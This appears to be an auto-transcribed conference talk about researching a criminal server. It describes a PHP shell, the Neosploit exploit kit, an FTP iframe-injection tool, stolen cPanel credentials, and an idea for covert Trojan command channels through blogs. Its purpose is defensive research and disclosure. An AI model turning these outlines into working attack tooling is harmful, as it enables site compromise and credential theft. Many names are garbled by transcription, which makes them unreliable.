 Good morning again. My name is Iftah Ian Amit and we're gonna do the down-the-rabbit whole talk today We're gonna talk about Investigating for lack of better terms a criminal server Some technical aspects about it some social aspects about it Some economical aspects about what's behind it even some legal stuff. I'll try to keep it fun and entertaining I'll try to keep it technical enough. So we won't doze off And it's mostly about you know having fun while doing research. So Bear with me and if it's not fun, just throw something at me. I'll crack a joke or something like that Just a bit about me Iftah Ian Amit in Hebrew it makes much more sense So don't even try to pronounce it Ian is is fine here in the US and everywhere else outside of Israel I'm kind of on my own right now doing some consulting to Three major companies in the past. I used to be director of security research at Aladdin. She's a web security company Same thing at Fingin, which is a web security company various security consulting gigs stuff like that both IT as well as R&D and My spare time and helping hand with the Israeli Air Force during my reserve duty So without further ado, let's dig in first of all, how do you start anyway? How do you even find a criminal server to start looking into and dig up information and do some research to figure out? How do these bad guys work? Well? obviously Over skills you got to be elite you got to be cool and you got to have a lot of luck Anyone familiar with a site called trick cool tips Nothing come on. It's that's the site. It's a forum. It's a forum a for How do they say it tips for better programming? We just happen to stumble upon it seriously scanning the web, you know combing the desert from from space balls looking for sites with some kind of malicious content and You know during some some research we stumble up across this site well, I wasn't familiar with it either until we just you know saw some malicious stuff on it and And then we started correlating The badness that was on that site with other instances of interesting badness that we've seen before Anyone from Italy here? Okay, Federer consumer Sumatori Thank God there are no talents because I'm probably butchering this it's the consumer reports for Italy a Major site a lot of a lot of hits per day was hit with the exact same Badness that we saw on a on trickle chips or whatever it is and we started correlating it'll more and more of those sites looking for that same Badness so to speak and for the same malicious. It was actually a malicious JavaScript So we we kind of figure out, you know what? Let's dig in. Let's see where everything points to where everything starts And that's where we started seeing interesting stuff first encounter was a site called gwtsdj Eni.com Very random doesn't look really meaningful and we'll see why in a second and Now the thing is it was part of Torpy Anyone not familiar with Torpy? Okay, Torpy is is like a cool Trojan and That spread itself it spreads itself and reports back to domain names generated with some Some form of of a domain generation schema Now it looked real familiar with the Torpy schema, but it had an extra letter You know other researchers Smart and myself figured out what's the domain generation schema for Torpy and it was like four letters J e and I for that specific month or time of the year that we found this but this one had an extra D so Then Bell star ringing, you know light bulb starting appearing above people's heads are like alright So this is a modified Torpy or a new gang Running this scheme and that's where things got really at least got us really interested So we took a closer look Alright now, this is where the fun part starts Working for a legitimate company in most Western countries Don't really let you you know turn your ass vigilante and start attacking those servers to figure out what's running there and and who's behind it especially not if you work for a Public company that's listed on NASDAQ and and stuff like that So the only thing you can do is kind of passively scan look for stuff. That's public Not really like stick your finger too hard and figure out what's up there so with a very basic scan of Predictable names of files and directories that we try to look out on the server. We found a file called in dot PHP This turned out To provide us with this Yeah, I know I know I recognize this Yeah, it's a PHP shell and and Then we're like aha This is where it gets really interesting now. We didn't really do any hacking so far, right? We're just you know kind of lamers looking around But you stumble across It's PHP shell and if you're familiar with this. This is part of the r57 and Shell suite this is just the The command interface. So if you look up for r57 Shell dot PHP You get the whole thing with the file transfer the FTPs the connect backs the emails the whatever you want there the edits really really cool At that point we're like oh shit. All right. This is this might be a problem even at that stage Why well, it's not ours. It is the bad guys, but you know, are we even allowed to go there? and that's where Story gets interesting Yeah, I Did my my bachelor bachelor's degree with with some kind of legal kind of courses But I've never thought I had to actually use them First dilemma was Have you gotten too far I mentioned it before, you know, you look at a server and suddenly bam, you got a shell You know, you didn't even do a connect back You didn't fire up backtrack or or a metasploit or anything like that. You just got a shell on a criminal server That's attacking people and spreading bad code So as for the first dilemma, well, we just followed an injector script on a legitimate site so we found out about the domain name about the server legitimately and We kind of ran across a service that was offered by the server wasn't protected no passwords or anything like that That led us, you know using our knowledge to figure out. What's the what's the full shell? R57 new dot PHP Good so far second dilemma How far can we go? That's where lawyers really get messy And thank God for general or console back at the company and the New York lawyers that we worked with and We figured out what can we do and what can't we do? We can't crack things. We can't guess things That aren't public Knowledge start a question. Yeah Well, if it's a hacked server what you're probably gonna do is talk to or contact the legitimate owner of that server These questions are in the context of researching a criminal server and even with that and we'll get to why we're being so careful with With the research itself Because it's got a lot of implication not only on the company, but on on the actual research and its results So basically we can do whatever is being provided to us Whatever is being allowed to us through that shell with the permissions that it has means you can't do privilege Discalation even if it's just glaring obvious you can't do that and you can use whatever tools are provided that are not password protected But if you find additional information that is not protected That can be used to access other parts of the site You can kind of do that and the kind of is is has got some legal fluff around it. So I'm not sure about it. Yeah You you kind of could yeah That's That's as official as I can get yeah, I can't again I can't it's kind of similar to the question that was raised before If it applies to just a criminal servers or to any kind of server that you can investigate or look at Again, this was in the context of researching a criminal operation or a bad operation So again talk to your lawyers my lawyers out on care and figure out the right answer But this is again in the context of this specific investigation So we can brute force we can't guess but if they're out there and provided to us we can kind of use them So thanks to our lawyers and legal department and all those nice guys that that kept me up reading tons of material We actually went down the hole and what we found there Was really interesting Because this goes beyond just some malicious JavaScript or another executable Trojan or something like that We actually uncovered a lot of the behind the scenes a lot of the back-end utilities and communications That the criminal groups and there are multiple criminal groups using that server it's kind of a lease a server or lease an operation and We found it just tons of stuff that that Provided us and the law enforcement around the world a lot of information to pursue those criminal groups Starting with newsploit and there are a couple of talks at least that I went to that mentioned newsploit I'm gonna mention it again because I just you know I spent a lot of time with it and I'm not gonna you know just let it go and Newsploit is a is a an attack framework used to and to spread malicious JavaScript attack clients and infect them with the with Trojans or whatever you want automated tools to Inject legitimate sites with malicious code. All right, because you want to get you want to spread the word You want to get to legitimate sites that are gonna attack their customers their visitors instead of just providing all that Banness from the criminal server and we found a php by admin, which is again very useful For figuring out the back end truck full of Trojans tons of them unbelievable We even found The server was that was also used by the snow a group Which is the why I mentioned before the modified torpig domain generation schema tons of Trojans and actually some some of the Trojan generation Tools back there a double stats logs always fun to look at someone else's logs and figure out You know how active is that server? How many people have visited it? And get some some statistical information from that set up instructions I kid you not set up instructions You get a manual that tells you how to install several parts or different parts of Of the software that is designed to attack visitors and manage those attacks You just get the manual and a mail back end for tracking infections a directory filled with open VPN certificates and Because criminals are secure as well and you need to connect to that server securely All right, so you want to open an open VPN tunnel to it? Instead of just connecting plain text and a huge list of cPanel credentials. I'll talk about this later This was kind of a whiteboard for the several people that were logged. We're logging into the server So one was right down. Oh, look at that cool credential and the other one would say, oh, yeah I got it before it's it belongs to some hosting provider and so on so really interesting and and Some more utilities and exploits and and a funny 15 most wanted Kind of ripoff page hosted on that site again, I'll show it later Start with a tool. I mentioned that at the beginning One of the two interesting tools that we found was called FTP iframer Basically, it's a PHP script Which you feed with a lot of FTP credentials that were stolen using the Trojans that were sitting on people's computers That got infected by and so on and so forth and And just feed it with username password domain username password domain and all it does it is it automatically goes and tries to access that FTP server tries to log in verifies that the credentials are correct once they are it Looks at what is accessible on that server if it's web content great look for JavaScript HTML PHP whatever files and Inject an iframe on to them that points to the malicious JavaScript if it's not look for other interesting stuff All right and set it aside Supports several users so each user has his own login and credentials that he uploads So you can actually run multiple campaigns at the same time. They're separate from each other To cater for several criminal groups, which means that this server again was leased to At least three different distinct criminal groups that we could point out it And the logs themselves were accessible. We found more than 200,000 credentials on That server that's more than 200,000 FTP servers that may or may not not contain Web information web content or even non-web content documents files Applications wherever it is with credentials that vary from read-only to full access The second tool that we found there and and I promised I'm gonna linger on to that a little bit is neosploit Well, Neosploit is my favorite. It's my favorite because it really shows how in the criminal community or criminal ecosystem And there is a supply and demand. There are the software developers and there are the clients and Neosploit has got a long documented history of development from from a very simple exploit framework Through its iterations and and additions of multiple user support to support several criminal groups Enhanced reporting multiple loader configuration so you can say, you know what if you're coming from this area Geographically speaking of the world, I'm going to provide you with that Trojan, but if you're coming from that area There's another Trojan that specializes in you know banking activities In that area of the world and database is improved from fried files to a full-on Sequential database and in version three enhanced licensing again licensing in a criminal tool I can't remember who talked about it yesterday But they mentioned it as well. There is a full-on licensing scheme on this on this thing And it's locked to an IP and IP address and the user password Enhanced installation through a SOX proxy that can only be resolved statically Enhanced reporting on x-plus ri and database management So this is kind of the the 10,000 feet view digging deeper into the tool We were actually able to Gain access obviously all to all all the components and First of all the installation script Went through that before the socks Cool install script by the way great bash programming takes care of all the you know, it's kind of stupid proof You just run it it downloads the The actual CGI the compiled L files and from a socks proc through a socks proxy Sorry That's all the version checking all the permission checking creates the the RC files and logs everything We'll talk about the log in a second This is a quick view of the Install script again using in password or required to even start the installation You may the guy these guys are making sure that your route because Wow Because you need to get there And this is a download URL which again can't be accessed just like this you have to go through a socks proxy This domain doesn't resolve to anything Some error checking the socks and the socks retrieval as I said some some cleanups on the on the Unix system on the Linux system in its scripts everything is ready and Once this is installed, that's it. It will update itself regularly and you're just good to go This is what we got from the logs again. Why is Neosploit? My favorite because it's well maintained you can see that there's a demand out there and that the developers are responding to it and We basically what we did is is we logged all the Major and minor updates basically every time there was a new version or a patch or an update to Neosploit In a specific day we logged the number of times that an update was applied And this is number of times per day. Okay, so you can see that it's it was pretty active during the time where we investigated it There's some rumors that Neosploit was gone when they came back with version 3 1 and after that they kept maintaining it For a short while until they died again But that's that's a pretty interesting graph that indicates on the level of support and the level of updates that you're getting from a tool that you actually bought from And these guys I'm not saying even bad guys. They're just developers. Yeah That's 2008. Yeah. Yeah, the rest is not that much fun I mean it it is if you're like in the zone and Doing reverse engineering stuff like that. It's basically composed of three different parts the demon which takes care of the Database back end interface index CGI is the exploitation front end. This is what the customers or the user see We're all the logic in terms of what kind of operating system you run what kind of browser you run Where are you coming from geographically? And although decision that that decide what kind of exploit am I going to send you and what kind of Trojan is going to be sent and the admin CGI and which is the admin interface where Users can manage all the infections that and report on all the infections that they ran through And some more digging into the the actual tool. This is just the fun stuff again from the the Neosploit key valid validation Going on that they're loading the license verifying the license against a server that's available that the Developers are running on the internet and verifying that the installation is running from a legitimate from an IP that was actually licensed to run from and This this is some more logic in terms of referring the this is the from the customer or the victim end point Getting the hash of the IP and and the browser string Validating the referrer Because they came from a legitimate site and I need to know or document which site actually sent them over here Picking an exploit and encrypting it and sending it back to to the victim This is a little more fun because you can get more data out of it And this is the admin interface again There was a question here about using credentials that are written plain text stuff like that. So, yeah, that's the kind of and This is this was done using the the admin user so you can see all of the users There are configured on the system and using it to spread Badness and all of their statistics and specific like detailed vulnerability a performance Reports and that was back at the time where PDF was like really out there and you know No one patches Adobe stuff and stuff like that So you can see the statistics the success statistics of different exploits and Through this interface if I'm a user of the system I can actually say oh Wait, but that SB active X is no longer like really killing people. How about you update it? Hence the frequent updates that came on later and detailed statistics in terms of per exploit operating system version language and so on so forth Off from the useful any questions so far by the way No, we're good All right, and our script that we found that was again really useful and interesting I mentioned before the domain generation schema. All right and a lot of people were working on kind of reverse engineering the logic of how those malicious domains keep changing Well, that was a That was nice, but What we did is we looked at the source code for the domain generation I mean it was just there on on the server What actually happened was that the the senile group took the Torpy domain generation Script and modified it and adapted it to their needs So it was great for just keeping track of that server Because it was it was just it just kept moving in terms of its domain and actual physical location These are also available and should be available. I think on the DEF CON side. If not, I'll upload them later on And our script that's a pretty interesting for for understanding. How do the bad guys work proxy judge? That's just a little, you know nugget kind of a script It's a CGI were to test where the the victim is behind the proxy or not Sometimes not a lot not always we you know, this logic was only applied to part of the attacks This was applied so that the attack wouldn't get twice to its location that was known to run a proxy Okay for some reason or not Other goodies I mentioned, you know, this is like the killer one the how-to in word It's just a word file sitting on the server with instructions on how to install a specific package So you install run install php make sure the director is writable accessible from the web blah blah blah packer Verifies the integrity change setting check results additional description logging interpreting logs And more fun stuff Downside it's all in Russian I don't know why but uh Yeah, always keep keep a Russian speaking person in your research group. Otherwise, you're like really screwed Last script. I think I'm gonna talk about is or finding from the server is the cPanel goodies I mentioned it before again. This is kind of the whiteboard for the criminals to to use for exchanging ideas information stuff like that Hundreds of domains and cPanel, you know what cPanel is. I'm not gonna explain it to you Just you know access access access in line comments in Russian on some of the sections This is like a really really rough translation So but but it's it's still funny like clearly has not been able to look after and that was on on a Credential that They kept like infecting and the guy kept changing it But for some reason they kept getting that password back So probably the guy that was changing the password was infected and it just kept fending back to the criminals and Previously worked as something in Russian clearly no longer works for entries that are dead and shouldn't be Worked on anymore and need to pop in and remove the soap base There's probably like a legitimate word in Russian that that Google translates to soap base that relates to I Don't know maybe an installation or iframe I don't know what too many sites and is not small and my favorite is master admin cPanel That was found right next to a credential that Related to a hosting site address like the whole hosting Provider a lot of fun again. Obviously everyone that was on that list was notified and I don't know if they took care of it or not, but At least we tried Some humor Remember the the top fifth top wanted 15 most wanted thing. Well This was kind of a we couldn't figure out if it was a joke or a teaser to law enforcement or whatever But it was just there and this is how it looked like they took the US Marshals 15 most wanted fugitives fugitives website They ripped it off and modified it to contain their Nicks and aliases and and stuff like that. It's all in Russian and I don't know it's it's kind of funny, but you know now While we're doing this obviously we're not just sitting on this data and Once we got like clearance from from legal and stuff like that we started working with Search CC the reason why we work with search CC and not like specific search in specific locations Is that this thing was just so spread out that it was impossible for a team? I had like five people at the time and working for me and Myself to just you know keep emailing and phoning and and and contacting all those different location We had like 86 countries that were affected by this So search CC came to the rescue a lot of I don't know if there are any search CC guys here You're not fads. It's okay. It's you just work with them and did a lot of you know great work in terms of coordination and And we're very responsive to us They actually created a small task force to handle all and all of that data that was passed along to them And they passed it along to law enforcement as well The analyzed logs and I mentioned before 86 different countries did all the notification process and helped us Again work with the FBI secret and secret service in the US and because there are a lot. There are a few Like high-profile government sites that were affected here as well And so that kind of you know raise their awareness like oh, yeah, we'll work with you guys Now just to kind of visualize What kind of impact this single server had Geographically we took all the remember the two thousand two hundred thousand credentials. I talked about before we mapped them To the approximate geographical location of the associated servers. They were they were given access to So this is what we got and that's the reason why again we worked with search CC and not specific individual countries this basically covers most of Western Europe East Coast West Coast and and some spots in the Forest Asia Japan and stuff like that and even these guys I mean and you can't just say you know what I'm just going to focus on the US and a few countries here Once you lay your hands on something like that in terms of a researcher. You got to notify everyone I mean everyone's on the same class. So I mean South Africa, Brazil Peru, whatever is there And you can just you know try to phone them all So did we get any closure on this? We did a lot of work in terms of analyzing the tools analyzing the Trojans analyzing the the techniques that Were used to distribute all this all this badness. We worked with the cert To to coordinate the the notification to all the affected sites so they can clean them up and stop You know exposing their their exposing their users to that kind of badness and It took a few good days to get the notification process and after a few good days most of the sites were fixing their code removing the iframes removing the injections, whatever it is and We actually tracked this through the admin interface for new exploit because that's just what we had in place and I'll clarify this this graph Tracks down the top five users that were set up on the new exploit attack framework. We just mapped out the number of Exploits per day that were served and Gilded an installation of the Trojan Throughout the period of I don't know what three weeks or something like that This is the aggregated one with annotations this is the time where we notified search cc and Broke the news and kind of start calling people Shaking down, you know, whatever it is fix your site. This is vulnerable. This is a problem. You're infecting your users and and all that Stuff and you actually see a decline and we're kind of great We're doing some good job here and we're working with with cert and people are fixing their websites and you know We're finding the crime and Yeah, we're kind of vigilante, but we did it the right way And then this happened What we didn't do is that we did not break the business model These guys get credentials all the time these guys just keep you know Promoting and marketing and getting new sources of infections every day And they figured out that if their stats are down They just need to hit refresh on some of their sources and that's what they did So you see a quick peek in terms of site infection that yields installations and then a dip after A lot of the sites fix it and you just get back to the levels of you have a solid install base so to speak of sites that distribute your malware and afterwards even a Greater rise after someone got pissed or something like that and and start working harder So we didn't really get full closure on this We did get a lot of information on how stuff works We did make a lot of ties between the different providers of the software that we found on the server and We got a lot of insight on how criminals actually work in terms of leasing or providing access to Sorry running a single server that caters for several criminal groups with with the segmentation between them and stuff like that But we weren't really happy with this Now I did promise a McCollough connection anyone familiar heard of McCollough Yeah, all right, we call it was shut down happily and It's an ISP here in in the in the US and a lot of bad stuff happened there and this was before my color was was shut down and You probably recognize this Joker by the way is the user that managed this server and This is us looking at the the PHP shell running W And seeing that someone else is logged in to the server at the same time that we're looking at that PHP shell and This is as close as I'll get to like a criminal in real time and right after that Where's a phone call that I've made? To tell someone to dude Work something out. It's out there. This is you know after all the notification went out and The law enforcement was actually in play in terms of tracking down the server and stuff like that. So But the interesting stuff about this is that the IP address from which the user is logged in Actually belongs to McCollough. So that was just another layer or another evidence In the heap of evidence that that gathered up that helped close down McCollough. So Joker was Helping McCollough get get shut down Now if we are getting close and personal as we did before and We did find something interesting some of the some of the applications weren't just publicly accessible to everyone Okay, and some of the more sensitive applications that manage infections and stuff like that stuff like that We're not just open to the public And they were protected with an HD axis on the web server now HD axis was configured with specific IP addresses that Helped again. This is information that was passed on to law enforcement help them Point a finger in terms of oh, so it's that group That's working out of Denmark and that group working out of DC and Newark and Russia and whatever it is and Which is pretty helpful if you keep that on your server and limit access to To specific users you're basically outing them if that server get calm gets compromised now everything that I Mentioned so far and covered so far talks about cyber crime. All right. This is the intent of getting You know John dough and Jane dough infected on their home PC a running some kind of Trojan That's gonna key lock them and sell all send older credentials and and and perform financial fraud and banking fraud and stuff like that but What's the link between these kind of activities and cyber warfare well Yesterday I was at the talk and the cyber warfare talk by Jason And I promised him some some interesting findings from from my talk. So here goes now What I'm going to show you is the only thing that that was kind of allowed to be shown publicly And this was found on the server itself remember when I said that the FTP processing tool was going through credentials Validating them looking for web content looking for other content. Well, this is other content other content is PDFs Word documents Excel files executables whatever one of the sites that were infected or breached and Who's sorry PDA FTP credentials were breached was actually sites that belong to some company that manufactures interesting stuff And this is what we found on the server in a directory associated with the content that was downloaded from that FTP site Now if you don't see that really clearly, this is like a map There are a few items here. There are descriptions over there on the selected items that that you're looking at And if you don't see it really clear, I've kind of magnified a few and this marker, which is placed here is an F16d with a position in 12 digits long to long lat This is it and if you're familiar with this little triangle then shut up and And some some log data report data 864 anyone knows what's 860 patchy F16 they're doing something here. All right. Now. This is just a screenshot Okay, that was sitting along with the application That's running this thing with documentation with data with stuff that I was appalled When I saw there and But that's there and guess who's gonna be the customer of that kind of data. All right It's not Raytheon or any and willing like that. It's a bigger organization or a government that would like access to this kind of information so some final words and Why we should what should be we we should be looking at in terms of Advancement in Trojan technology. We all know that the classic Trojans that communicate over at CTP Send their data Perform a man in the browser attack lurk around look for interesting stuff and send it over well mostly communication because most of those Activities can be monitored and Signatured so to speak to be identified later on and alerted upon What if we apply the You know kind of the communication Mechanisms of web 2.0 to Trojans Well, this is an idea that has been run around in the industry for a while. Everyone's been trying to get their Heads around this in terms of how to cope with this problem. Fortunately, I haven't seen anyone use this yet but again the classic communication was Trojan command control center and HTTP back and forth and the most sophisticated method of evasion was Moving that oops moving that command control center around so it will be hard to catch now What if I send the commands from my command control center through? Legitimate channels blogs, right? I can't blog a block access to legitimate blogs like blogger and wordpad and stuff like that And I can even split the command to different parts so They would be reconstructed using Web applications Google gear Yahoo pipes Google mashups Microsoft spaces whatever it is they all provide you a very easy API a very easy programming environment to process this kind of data RSS web data and modify it adapt it and basically send back or provide a converted or a Programming you know combined view of of the three different parts of the command to one actual command now again This is a legitimate site Hosted at Yahoo Google Microsoft whatever and the Trojan communicates with that not with a command control center same goes for Reporting back to the command control center just posted onto a blog. You can even encrypt it By the way, you have if you have if you want any homework try to look for blogs That make absolutely no sense Not like language-wise, but just gibberish. All right. Guess what? This is a covert channel used by whoever To communicate between two parties over the legitimate parts of the internet and just posted there It's you know, it's got the most uptime ever. So It's just easy final final words and one thing we did think about in terms of Tracking and and taking this a step further, but we didn't really have the time or the patience to do mostly legal is What if we can plant a bug? All right, this server will keep moving around it started when we started looking at it It was hosted in Argentina and then it moved on to Florida It stayed there for a while moved over to DC. It's really easy and really cheap to move this kind of server around now What if we had the equivalent of low jack for a crime? We could plan something on the server like a web bug or whatever it is and just google it or look for it and Figure out where where is it hosted next if we lose track of of the server? and we actually thought about it, but as I mentioned before had a little problem with legal because axis has to be granted and And We didn't get like right access to to the server and the second problem was working You know as security researchers that work for the lighter side Of things is keeping chain of evidence if you tamper with the data if you make any changes or modifications You basically break the chain of evidence and it can be used by law enforcement To prosecute and can't be used as evidence to to look at these groups So that was kind of the last part of us thinking about tracking these guys That's it for me for today. We're right on time. I think and if you have any questions, I'm gonna be at room 103 Q&A room right outside